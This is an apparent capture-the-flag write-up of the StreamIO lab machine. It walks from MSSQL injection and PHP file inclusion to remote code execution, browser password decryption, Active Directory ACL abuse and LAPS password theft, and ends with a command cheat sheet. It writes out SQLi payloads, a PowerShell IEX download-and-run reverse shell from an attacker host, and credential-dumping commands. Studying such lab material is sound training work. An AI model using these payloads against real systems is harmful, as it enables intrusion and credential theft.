🎬 StreamIO

Machine: StreamIO
Difficulty: Medium
Theme: Web enumeration β†’ subdomain discovery β†’ manual MSSQL injection β†’ credential cracking β†’ authenticated admin panel β†’ PHP LFI/source disclosure β†’ RFI/RCE β†’ MSSQL backup database credential discovery β†’ WinRM lateral movement β†’ Firefox credential extraction β†’ AD ACL abuse β†’ LAPS password disclosure β†’ Administrator shell


🎯 Summary

StreamIO is a Windows Active Directory machine with a web-heavy initial foothold and an AD ACL/LAPS privilege escalation path.

Initial enumeration identifies HTTP/HTTPS web services and an Active Directory environment. The main web application is hosted on streamio.htb, while SSL certificate inspection reveals the additional virtual host watch.streamio.htb.

The watch subdomain exposes a PHP movie search page vulnerable to manual MSSQL union-based SQL injection. Automated SQLi tooling is not reliable here, but manual column-count testing and MSSQL-specific payloads allow database enumeration. The STREAMIO database contains usernames, MD5 password hashes, and staff markers. Several hashes crack with rockyou.txt, and the cracked credentials are used to authenticate to the main web application.

After login, the /admin/ area exposes routing-style parameters such as user, staff, movie, and a hidden debug parameter discovered through authenticated parameter fuzzing. The debug parameter is passed directly into a PHP include, allowing Local File Inclusion. Using the PHP filter wrapper, the admin PHP source code is disclosed.

Source review reveals hardcoded MSSQL credentials and an include-only file, master.php, containing an unsafe eval(file_get_contents($_POST['include'])) sink. By including master.php through the vulnerable debug route and sending a POST request pointing to an attacker-controlled HTTP resource, remote PHP code execution is achieved. A PowerShell reverse shell is used to obtain a shell as streamio\yoshihide.

From the initial shell, the hardcoded database credentials are used with sqlcmd to query the local MSSQL instance. A backup database contains additional user hashes. Cracking the backup hashes reveals credentials for nikk37, who has WinRM access. This gives a clean Evil-WinRM shell and the user flag.

Post-exploitation of nikk37’s profile reveals Firefox credential databases: key4.db and logins.json. These are downloaded and decrypted offline with firepwd, exposing additional saved credentials. Password reuse testing identifies valid LDAP/SMB credentials for JDgodd.

RustHound-CE/BloodHound enumeration shows that JDgodd has WriteOwner over the CORE STAFF group. This is abused by changing ownership, granting JDgodd FullControl over the group DACL, and adding JDgodd to the group. Once added, JDgodd can read the ms-Mcs-AdmPwd LAPS attribute from the domain controller computer object.

The recovered LAPS password is used to authenticate as Administrator over WinRM, allowing access to the root flag in C:\Users\Martin\Desktop.


1. Enumeration

Initial scanning identified a Windows host exposing web, SMB, Kerberos, LDAP, MSSQL-related services, and WinRM.

Full TCP scan:

sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/streamio_portscan [TARGET_IP]

Targeted service scan:

sudo nmap -sC -sV -vv -oA nmap/streamio [TARGET_IP]

Important services included:

53/tcp     domain
80/tcp     http
88/tcp     kerberos-sec
135/tcp    msrpc
139/tcp    netbios-ssn
389/tcp    ldap
443/tcp    https
445/tcp    microsoft-ds
464/tcp    kpasswd5
593/tcp    http-rpc-epmap
636/tcp    ldapssl
3268/tcp   globalcatLDAP
3269/tcp   globalcatLDAPssl
3389/tcp   ms-wbt-server
5985/tcp   winrm
9389/tcp   adws

The HTTPS service revealed the hostname:

streamio.htb

This was added to /etc/hosts:

echo "[TARGET_IP] streamio.htb" | sudo tee -a /etc/hosts

Port 80 displayed a default IIS page, while HTTPS on streamio.htb hosted the main movie-streaming web application.


2. Web Application Review

Visiting:

https://streamio.htb/

showed a movie streaming website with login and registration functionality.

A new account could be registered, but login attempts returned:

Login failed

Basic authentication bypass attempts did not work.

At this point, the main application had visible login functionality but no clear direct exploit path. Since HTTPS was in use, the SSL certificate was inspected for additional DNS names.


3. Subdomain Discovery Through SSL Certificate

The SSL certificate contained an additional DNS name:

watch.streamio.htb

The hosts file was updated:

echo "[TARGET_IP] streamio.htb watch.streamio.htb" | sudo tee -a /etc/hosts

Visiting:

https://watch.streamio.htb/

showed a newsletter-style page.

Directory and file discovery was performed with PHP extensions enabled:

gobuster dir \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -k \
  -u https://watch.streamio.htb/ \
  -x php

An interesting file was discovered:

search.php

Visiting:

https://watch.streamio.htb/search.php

showed a movie search function.


4. Manual MSSQL Injection in search.php

The search parameter was tested manually.

A basic boolean/authentication-style payload triggered a defensive message:

Malicious Activity detected!! Session Blocked for 5 minutes

This was a useful warning: noisy obvious payloads were blocked, but it did not mean injection was impossible.

Manual union-based testing found that the query accepted six columns.

A working MSSQL version payload looked like:

1408' UNION SELECT 1,@@version,3,4,5,6-- -

This returned:

Microsoft SQL Server 2019 Express Edition
Windows Server 2019

The database name was confirmed:

SYSTEM_USER = db_user
DB_NAME()   = STREAMIO

An attempt to enable xp_cmdshell was not useful from this context. The SQLi was used for database extraction rather than command execution.

Available databases were listed:

master
model
msdb
STREAMIO
streamio_backup
tempdb

The active database contained useful tables:

movies
users

The users table columns were identified:

id
is_staff
password
username

The users and hashes were dumped:

username:hash:is_staff

Important finding:

admin had is_staff = 0
most other users had is_staff = 1

This showed that the is_staff column did not mean β€œadministrator” in the way one might initially expect.


5. Cracking Web Password Hashes

The dumped hashes were 32-character hex strings and were treated as raw MD5.

A file was created in this format:

username:hash

Example:

admin:<MD5_HASH>
yoshihide:<MD5_HASH>
...

Hashcat was run with username parsing enabled:

hashcat -m 0 --username username_hashes.txt /usr/share/wordlists/rockyou.txt

Recovered results were displayed with:

hashcat -m 0 --username username_hashes.txt --show

Several credentials cracked successfully, including the web credential that worked for the main site.

The cracked credential list was saved cleanly:

username:password:is_staff

Important gotcha:

When using --username, Hashcat ignores the part before the first colon during cracking, but --show prints the username alongside the recovered password. This makes it easy to map each password back to the correct user.


6. Main Web Login Brute Force

The login request was intercepted in Burp to confirm:

POST /login.php
username=<user>
password=<pass>
failure string: Login failed

Hydra was used to test the cracked username/password combinations against the main web login.

Conceptual command structure:

hydra \
  -L usernames.txt \
  -P passwords.txt \
  streamio.htb \
  https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

After correcting the username/password file formatting, one valid web login was found.

Successful web credential stored in notes:

[WEB_USER] : [WEB_PASSWORD]

The valid login gave access to the web application and eventually the /admin/ panel.


7. Authenticated Admin Panel Enumeration

After logging in, the admin panel was accessible:

https://streamio.htb/admin/

The admin interface contained links like:

?user=
?staff=
?movie=
?message=

The visible parameters loaded admin management sections.

Authenticated parameter fuzzing was performed against /admin/ using the session cookie:

ffuf -k \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u 'https://streamio.htb/admin/?FUZZ=' \
  -H 'Cookie: PHPSESSID=[SESSION]' \
  -fs [BASELINE_SIZE]

Important results:

debug
movie
staff
user

The user, staff, and movie parameters matched visible navigation. The debug parameter was the unusual finding.

Visiting:

/admin/?debug=

returned:

this option is for developers only

This suggested hidden developer functionality.


8. LFI and PHP Source Disclosure

Testing direct values like:

/admin/?debug=user_inc.php
/admin/?debug=staff_inc.php
/admin/?debug=movie_inc.php

did not reveal much because PHP files were executed, not displayed.

The next test used the PHP filter wrapper to read source code as base64:

/admin/?debug=php://filter/convert.base64-encode/resource=index.php

The response contained a base64 blob. After decoding, the admin index.php source revealed the key issue:

if(isset($_GET['debug']))
{
    echo 'this option is for developers only';
    if($_GET['debug'] === "index.php") {
        die(' ---- ERROR ----');
    } else {
        include $_GET['debug'];
    }
}

This confirmed:

GET parameter debug -> PHP include

The same file also exposed hardcoded MSSQL credentials:

$connection = array(
  "Database"=>"STREAMIO",
  "UID" => "db_admin",
  "PWD" => '[DB_PASSWORD]'
);

Credential stored in notes:

db_admin : [DB_PASSWORD]

Important gotcha:

When copying the base64, do not include the preceding text:

this option is for developers only

The base64 blob usually starts with something like:

PD9waHA

or, for HTML-first files:

PGgx

9. Source Review of Admin Include Files

The known admin include files were also disclosed with the same wrapper:

user_inc.php
staff_inc.php
movie_inc.php

The decoded files showed mostly CRUD-style admin functionality.

user_inc.php deleted non-staff users based on a POST parameter:

if(isset($_POST['user_id']))
{
    $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
}

movie_inc.php deleted movies based on a POST parameter:

if(isset($_POST['movie_id']))
{
    $query = "delete from movies where id = ".$_POST['movie_id'];
}

staff_inc.php displayed staff users and a fake/message-style delete action.

These were interesting but not the main path. The stronger primitive was still:

include $_GET['debug']

Further authenticated file discovery was performed under /admin/:

ffuf -k \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ \
  -u 'https://streamio.htb/admin/FUZZ' \
  -e .php \
  -H 'Cookie: PHPSESSID=[SESSION]'

A high-value file was found:

master.php

Direct access returned:

Only accessable through includes

This meant it was intended to be included by another PHP file.


10. Source Review of master.php

The source of master.php was disclosed through the vulnerable debug include:

/admin/?debug=php://filter/convert.base64-encode/resource=master.php

Decoded source showed that master.php included the movie, staff, and user management logic, and then ended with a dangerous sink:

<form method="POST">
<input name="include" hidden>
</form>
 
<?php
if(isset($_POST['include']))
{
    if($_POST['include'] !== "index.php" )
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR ---- ");
}
?>

This created the execution chain:

/admin/?debug=master.php
  ↓
index.php defines included=true
  ↓
master.php passes include guard
  ↓
POST parameter include is read
  ↓
file_get_contents(include) fetches attacker-controlled content
  ↓
eval() executes that content as PHP

Important detail:

Because the server uses eval(file_get_contents(...)), the attacker-controlled file must contain raw PHP statements, not a full PHP file with <?php ?> tags.

Correct:

echo "STREAMIO_TEST_OK";

Wrong for this case:

<?php echo "STREAMIO_TEST_OK"; ?>

11. RCE Proof of Concept

A test file was created locally:

echo 'echo "STREAMIO_TEST_OK";' > test.php
python3 -m http.server 81

The Burp Repeater request was changed to POST:

POST /admin/?debug=master.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=[SESSION]
Content-Type: application/x-www-form-urlencoded
 
include=http%3A%2F%2F[LHOST]%3A81%2Ftest.php

The Python server showed the target fetching the file:

GET /test.php

The Burp response contained:

STREAMIO_TEST_OK

Command execution was then confirmed with:

echo 'system("whoami");' > test.php

The response showed:

streamio\yoshihide

This confirmed RCE as the web application user.


12. Reverse Shell Troubleshooting

The first attempt used nc64.exe.

A Windows netcat binary was downloaded locally and hosted:

python3 -m http.server 81

The target was instructed to download it:

echo 'system("curl http://[LHOST]:81/nc64.exe -o C:\\Windows\\Temp\\nc64.exe");' > test.php

The web server showed:

GET /test.php
GET /nc64.exe

However, the initial reverse shell attempts failed.

The issue was that the local nc64.exe had accidentally been saved as an HTML page instead of the raw binary.

This was confirmed locally:

file nc64.exe
xxd -l 2 nc64.exe

Bad output:

nc64.exe: HTML document
00000000: 0a0a

Correct Windows PE output should look like:

PE32+ executable
00000000: 4d5a

Even after correcting the binary, the netcat shell path remained unreliable. A PowerShell reverse shell was used instead.

A PowerShell reverse shell script was hosted locally as shell.ps1, and test.php was changed to execute:

echo 'system("powershell -nop -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('\''http://[LHOST]:8000/shell.ps1'\'')\"");' > test.php

Listener:

sudo rlwrap -cAr nc -lvnp 81

The shell connected back successfully:

PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide

13. Local Enumeration as yoshihide

The shell landed in:

C:\inetpub\streamio.htb\admin

The web root contained:

admin
css
fonts
images
js
about.php
contact.php
index.php
login.php
register.php
...

The system had several user profiles:

Administrator
Martin
nikk37
Public

However, yoshihide did not provide useful direct access to the user profiles.

The important item from source review was the hardcoded MSSQL credential:

db_admin : [DB_PASSWORD]

The next step was local MSSQL enumeration.


14. Finding and Using sqlcmd

where sqlcmd did not return anything because sqlcmd.exe was not in PATH.

PowerShell’s where can also be misleading because of aliases, so the binary was searched manually:

Get-ChildItem "C:\Program Files","C:\Program Files (x86)" -Recurse -Filter sqlcmd.exe -ErrorAction SilentlyContinue

It was found at:

C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE

It was executed with the full path:

& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -Q "SELECT name FROM master..sysdatabases;"

Important databases:

STREAMIO
streamio_backup

The backup database was enumerated:

& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -Q "SELECT name FROM streamio_backup..sysobjects WHERE xtype='U';"

The backup users were dumped:

& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -d streamio_backup `
  -Q "SELECT username,password FROM users;"

This revealed another useful username/hash pair.

The hash was cracked offline and produced:

nikk37 : [NIKK37_PASSWORD]

15. Lateral Movement to nikk37

WinRM was tested from the attacker box:

nxc winrm streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'

Successful result:

[+] streamIO.htb\nikk37:[NIKK37_PASSWORD] (Pwn3d!)

Evil-WinRM was used for a clean shell:

evil-winrm -i streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'

The user flag was recovered from nikk37’s desktop.

The web RCE shell was no longer needed for normal interaction. The stable WinRM shell became the main post-exploitation shell.


16. nikk37 Profile Enumeration

Visible folders like Desktop, Documents, Downloads, and Favorites were mostly empty.

This was not a dead end. The next target was hidden profile data:

C:\Users\nikk37\AppData\

Because AppData is hidden, it was checked with:

cd C:\Users\nikk37
dir -Force

Firefox profiles were found under:

C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles

Profiles:

5rwivk2l.default
br53rxeg.default-release

The useful profile was:

br53rxeg.default-release

It contained:

key4.db
logins.json
logins-backup.json
cookies.sqlite
places.sqlite

The important files were downloaded with Evil-WinRM:

download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db"
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json"

Important gotcha:

Do not clone tools onto the target. Download the Firefox credential files from the target and decrypt them offline on the attacker machine.


17. Firefox Saved Credential Decryption

The files were organized locally:

mkdir -p firefox_nikk37
mv key4.db logins.json firefox_nikk37/

firepwd was cloned and installed locally:

git clone https://github.com/lclevy/firepwd.git
cd firepwd
pip3 install -r requirements.txt

The Firefox files were copied into the decryptor directory:

cp ../firefox_nikk37/key4.db .
cp ../firefox_nikk37/logins.json .
python3 firepwd.py

The output was noisy, but the important section began at:

decrypting login/password pairs

Each credential line followed this structure:

URL:b'username',b'password'

A cleaner output can be obtained with:

python3 firepwd.py 2>/dev/null | grep '^https://' | sed -E "s|^https://[^:]+:b'([^']+)',b'([^']+)'.*|\1:\2|"

The recovered credentials were stored in notes:

admin:[REDACTED]
nikk37:[REDACTED]
yoshihide:[REDACTED]
JDgodd:[REDACTED]

The important new credential candidate was:

JDgodd : [JD_PASSWORD]

18. Credential Reuse Testing

The Firefox credentials were browser-saved credentials for:

https://slack.streamio.htb

They were not guaranteed to be Windows credentials. Password reuse was tested across plausible AD users.

A clean password list was created:

cat > passwords_reuse.txt << 'EOF'
[DB_PASSWORD]
[NIKK37_PASSWORD]
[ADMIN_BROWSER_PASSWORD]
[NIKK_BROWSER_PASSWORD]
[YOSHI_BROWSER_PASSWORD]
[JD_PASSWORD]
EOF

A clean AD user list was created:

cat > users_ad.txt << 'EOF'
nikk37
JDgodd
yoshihide
admin
Administrator
Martin
EOF

Credentials were tested against SMB, LDAP, and WinRM:

nxc smb streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc ldap streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc winrm streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success

The important new result was:

[+] streamIO.htb\JDgodd:[JD_PASSWORD]

WinRM did not work for JDgodd, but SMB/LDAP worked.

This was enough for AD enumeration.


19. RustHound-CE / BloodHound Collection

RustHound-CE was used instead of BloodHound.py.

The working command was:

rusthound-ce \
  --domain streamio.htb \
  -u 'JDgodd' \
  -p '[JD_PASSWORD]' \
  -z

The output zip was imported into BloodHound.

The relevant finding was:

JDgodd -> WriteOwner / Owns -> CORE STAFF

BloodHound’s saved queries and Cypher views were somewhat noisy and confusing. CORE STAFF also showed no members, which initially made the path look like a dead end.

Important distinction:

Members        = who is currently inside CORE STAFF
Member Of      = what groups CORE STAFF belongs to
Object Control = what CORE STAFF can control/read/write

CORE STAFF having zero members was not a problem. The intended abuse was to add JDgodd to the group after abusing object ownership.

The important edge was:

JDgodd has WriteOwner over CORE STAFF

20. AD ACL Abuse: WriteOwner over CORE STAFF

The target group DN was queried first instead of guessed:

bloodyAD --host dc.streamio.htb \
  -d streamio.htb \
  -u JDgodd \
  -p '[JD_PASSWORD]' \
  get object 'CORE STAFF' --attr distinguishedName

Output:

distinguishedName: CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb

The ownership abuse chain was:

1. Set JDgodd as owner of CORE STAFF
2. Modify the DACL to give JDgodd FullControl
3. Add JDgodd to CORE STAFF
4. Verify membership

Ownership was changed with Impacket:

impacket-owneredit \
  -action write \
  -new-owner JDgodd \
  -target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'streamio.htb/JDgodd:[JD_PASSWORD]' \
  -dc-ip [TARGET_IP]

Successful output:

OwnerSid modified successfully!

FullControl was granted with dacledit.py:

dacledit.py \
  -action write \
  -rights FullControl \
  -principal JDgodd \
  -target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'streamio.htb/JDgodd:[JD_PASSWORD]' \
  -dc-ip [TARGET_IP]

Successful output:

DACL backed up to dacledit-[DATE].bak
DACL modified successfully!

JDgodd was added to the group:

bloodyAD --host dc.streamio.htb \
  -d streamio.htb \
  -u JDgodd \
  -p '[JD_PASSWORD]' \
  add groupMember 'CORE STAFF' JDgodd

Successful output:

JDgodd added to CORE STAFF

Important gotcha:

Ownership alone is not the same as membership-write rights. After changing ownership, the DACL must be modified to grant the principal rights over the object.


21. Reading LAPS Password via LDAP

After adding JDgodd to CORE STAFF, LDAP was queried for LAPS-managed local admin passwords:

ldapsearch -x \
  -H ldap://[TARGET_IP] \
  -D 'JDgodd@streamio.htb' \
  -w '[JD_PASSWORD]' \
  -b 'DC=streamIO,DC=htb' \
  '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

This returned an entry for the domain controller computer object:

dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: [LAPS_PASSWORD]

Credential stored in notes:

Administrator : [LAPS_PASSWORD]

This was the decisive privilege escalation step.


22. Administrator Shell

The recovered LAPS password was used with Evil-WinRM:

evil-winrm -i streamio.htb -u Administrator -p '[LAPS_PASSWORD]'

Successful shell:

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administrator

The Administrator desktop was empty, but the root flag was located under Martin’s profile:

dir C:\Users\Martin\Desktop
type C:\Users\Martin\Desktop\root.txt

This completed the machine.


πŸ”— Condensed Attack Chain

Full TCP scan
  ↓
HTTPS web app identified
  ↓
streamio.htb added to /etc/hosts
  ↓
SSL certificate inspected
  ↓
watch.streamio.htb discovered
  ↓
Directory discovery on watch subdomain
  ↓
search.php found
  ↓
Manual MSSQL union injection
  ↓
STREAMIO users table dumped
  ↓
MD5 hashes cracked with Hashcat
  ↓
Valid web credential found
  ↓
Authenticated access to streamio.htb
  ↓
/admin/ panel discovered
  ↓
Authenticated parameter fuzzing
  ↓
debug parameter discovered
  ↓
debug parameter passed into PHP include
  ↓
php://filter used for source disclosure
  ↓
Hardcoded MSSQL creds recovered
  ↓
master.php discovered under /admin/
  ↓
master.php source disclosed
  ↓
eval(file_get_contents($_POST['include'])) identified
  ↓
Remote PHP code execution through attacker-hosted file
  ↓
PowerShell reverse shell as streamio\yoshihide
  ↓
sqlcmd located outside PATH
  ↓
Local MSSQL queried with db_admin creds
  ↓
streamio_backup database dumped
  ↓
nikk37 credential recovered
  ↓
WinRM shell as streamio\nikk37
  ↓
user.txt recovered
  ↓
Firefox profile found under nikk37 AppData
  ↓
key4.db and logins.json downloaded
  ↓
Firefox credentials decrypted offline
  ↓
JDgodd credential recovered
  ↓
SMB/LDAP validation as JDgodd
  ↓
RustHound-CE collection
  ↓
BloodHound shows JDgodd WriteOwner over CORE STAFF
  ↓
owneredit changes CORE STAFF owner
  ↓
dacledit grants JDgodd FullControl
  ↓
bloodyAD adds JDgodd to CORE STAFF
  ↓
LDAP query reads ms-Mcs-AdmPwd from DC object
  ↓
Administrator LAPS password recovered
  ↓
WinRM as Administrator
  ↓
root.txt recovered from Martin desktop

🧠 Key Takeaways

  • Certificate inspection can reveal virtual hosts. watch.streamio.htb was not found through brute force first; it was exposed in the SSL certificate.
  • Manual SQLi still matters. SQLMap did not drive the path; manual union-based MSSQL injection did.
  • Obvious SQLi payloads can trigger blocks. The β€œMalicious Activity detected” message was a warning to be more precise, not to abandon SQLi.
  • MSSQL syntax differs from MySQL. Functions like SYSTEM_USER, DB_NAME(), sysobjects, syscolumns, and STRING_AGG are useful for MSSQL enumeration.
  • A cracked password is not automatically the right web login. Mapping username:hash:staff cleanly and using --username with Hashcat helped avoid confusion.
  • Authenticated fuzzing matters. The debug parameter was only useful after getting a valid web session.
  • PHP source disclosure via php://filter is a core LFI technique. PHP files execute normally, so the filter wrapper was needed to read the code.
  • Source review drove the exploit. The path came from reading index.php and master.php, not from blindly throwing payloads.
  • eval(file_get_contents()) is extremely dangerous. It converted file inclusion into remote code execution by fetching attacker-controlled code.
  • For eval(file_get_contents()), the remote file content should be raw PHP statements, not wrapped in <?php ?>.
  • Reverse shell troubleshooting matters. The first nc64.exe was accidentally saved as HTML, which explained why it would not execute.
  • PowerShell reverse shell was more reliable than netcat in this case.
  • Hardcoded database credentials were not the final objective, but they enabled the next credential pivot.
  • Backup databases can contain older or different credentials than production databases.
  • Visible user folders may look empty. Hidden AppData was the useful target.
  • Firefox credential decryption requires both key4.db and logins.json.
  • Browser credentials may belong to web apps, but password reuse against AD users can still be decisive.
  • LDAP/SMB success is enough for BloodHound collection. WinRM access is not required for every valid domain credential.
  • BloodHound graphs can look misleading. CORE STAFF had zero members, but JDgodd had WriteOwner, which was the actionable edge.
  • Ownership alone is not enough. After taking ownership, grant DACL rights, then modify group membership.
  • LAPS read access is exposed through LDAP as ms-Mcs-AdmPwd.
  • The final Administrator password came from LAPS, not from hash dumping or Kerberoasting.

⚑ Commands Cheat Sheet

Scanning

sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/streamio_portscan [TARGET_IP]
sudo nmap -sC -sV -vv -oA nmap/streamio [TARGET_IP]

Hosts file

echo "[TARGET_IP] streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hosts

Web discovery

gobuster dir \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -k \
  -u https://watch.streamio.htb/ \
  -x php

SQLi examples

1408' UNION SELECT 1,@@version,3,4,5,6-- -
1408' UNION SELECT 1,DB_NAME(),3,4,5,6-- -
1408' UNION SELECT 1,name,3,4,5,6 FROM STREAMIO..sysobjects WHERE xtype='U'-- -
1408' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id=OBJECT_ID('users')-- -
1408' UNION SELECT 1,CONCAT(username, ':', password, ':', is_staff),3,4,5,6 FROM STREAMIO..users-- -

Hash cracking

hashcat -m 0 --username username_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 --username username_hashes.txt --show

Web login brute force

hydra \
  -L usernames.txt \
  -P passwords.txt \
  streamio.htb \
  https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

Authenticated parameter fuzzing

ffuf -k \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u 'https://streamio.htb/admin/?FUZZ=' \
  -H 'Cookie: PHPSESSID=[SESSION]' \
  -fs [BASELINE_SIZE]

Source disclosure

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

Decode locally:

base64 -d blob.txt > decoded.php

Admin file fuzzing

ffuf -k \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ \
  -u 'https://streamio.htb/admin/FUZZ' \
  -e .php \
  -H 'Cookie: PHPSESSID=[SESSION]'

RCE proof

echo 'echo "STREAMIO_TEST_OK";' > test.php
python3 -m http.server 81

Burp body:

include=http%3A%2F%2F[LHOST]%3A81%2Ftest.php

Command execution proof:

echo 'system("whoami");' > test.php

PowerShell reverse shell trigger

Host shell.ps1 locally, then:

echo 'system("powershell -nop -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('\''http://[LHOST]:8000/shell.ps1'\'')\"");' > test.php

Listener:

sudo rlwrap -cAr nc -lvnp 81

Find sqlcmd

Get-ChildItem "C:\Program Files","C:\Program Files (x86)" -Recurse -Filter sqlcmd.exe -ErrorAction SilentlyContinue

MSSQL enumeration

& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -Q "SELECT name FROM master..sysdatabases;"
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -Q "SELECT name FROM streamio_backup..sysobjects WHERE xtype='U';"
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
  -S "(local)" `
  -U db_admin `
  -P "[DB_PASSWORD]" `
  -d streamio_backup `
  -Q "SELECT username,password FROM users;"

WinRM as nikk37

nxc winrm streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'
evil-winrm -i streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'
Get-ChildItem C:\Users\nikk37\AppData -Recurse -Force -ErrorAction SilentlyContinue -Include key4.db,logins.json

Download:

download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db"
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json"

firepwd

git clone https://github.com/lclevy/firepwd.git
cd firepwd
pip3 install -r requirements.txt
cp ../firefox_nikk37/key4.db .
cp ../firefox_nikk37/logins.json .
python3 firepwd.py

Clean output:

python3 firepwd.py 2>/dev/null | grep '^https://' | sed -E "s|^https://[^:]+:b'([^']+)',b'([^']+)'.*|\1:\2|"

Password reuse testing

nxc smb streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc ldap streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc winrm streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success

RustHound-CE

rusthound-ce \
  --domain streamio.htb \
  -u 'JDgodd' \
  -p '[JD_PASSWORD]' \
  -z

Get CORE STAFF DN

bloodyAD --host dc.streamio.htb \
  -d streamio.htb \
  -u JDgodd \
  -p '[JD_PASSWORD]' \
  get object 'CORE STAFF' --attr distinguishedName

WriteOwner abuse

impacket-owneredit \
  -action write \
  -new-owner JDgodd \
  -target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'streamio.htb/JDgodd:[JD_PASSWORD]' \
  -dc-ip [TARGET_IP]
dacledit.py \
  -action write \
  -rights FullControl \
  -principal JDgodd \
  -target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'streamio.htb/JDgodd:[JD_PASSWORD]' \
  -dc-ip [TARGET_IP]
bloodyAD --host dc.streamio.htb \
  -d streamio.htb \
  -u JDgodd \
  -p '[JD_PASSWORD]' \
  add groupMember 'CORE STAFF' JDgodd

Read LAPS

ldapsearch -x \
  -H ldap://[TARGET_IP] \
  -D 'JDgodd@streamio.htb' \
  -w '[JD_PASSWORD]' \
  -b 'DC=streamIO,DC=htb' \
  '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

Administrator shell

evil-winrm -i streamio.htb -u Administrator -p '[LAPS_PASSWORD]'
whoami
dir C:\Users\Martin\Desktop
type C:\Users\Martin\Desktop\root.txt

Field-manual techniques demonstrated on this box:


🧭 Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks β€œwrong” but the underlying step is actually salvageable.

Symptom: Basic SQLi payload triggers β€œMalicious Activity detected”
Meaning: The application blocks obvious payloads, but SQLi may still exist
Next: Use precise manual union testing with a normal movie search term and MSSQL syntax

Symptom: user() returns nothing
Meaning: user() is MySQL-style thinking
Next: Use MSSQL functions like SYSTEM_USER, DB_NAME(), and @@version

Symptom: xp_cmdshell payload only shows normal movie output
Meaning: Stacked queries/command execution are not the useful SQLi path
Next: Use the SQLi for database enumeration and credential extraction

Symptom: Hashcat output shows only hashes and passwords
Meaning: Need --show with --username to map recovered passwords back to users
Next: Run hashcat -m 0 --username username_hashes.txt --show

Symptom: Hydra finds no valid login
Meaning: Username file may contain username:hash instead of only usernames, or password file may be dirty
Next: Split users and passwords into clean files

Symptom: /admin/?debug=user_inc.php shows nothing useful
Meaning: The PHP file is being executed, not displayed
Next: Use php://filter/convert.base64-encode/resource=<file>

Symptom: Base64 decode fails
Meaning: You copied extra HTML or the β€œdevelopers only” text before the blob
Next: Copy only the base64 string

Symptom: master.php says β€œOnly accessible through includes”
Meaning: It is protected against direct browsing, not useless
Next: Include it through /admin/?debug=master.php

Symptom: RCE test file is fetched but marker does not execute
Meaning: The file likely contains <?php ?> tags or invalid syntax for eval()
Next: Use raw PHP statements only, such as echo "TEST";

Symptom: Python HTTP server throws BrokenPipeError
Meaning: The target closed the connection early; often harmless
Next: Check whether the file was still requested successfully

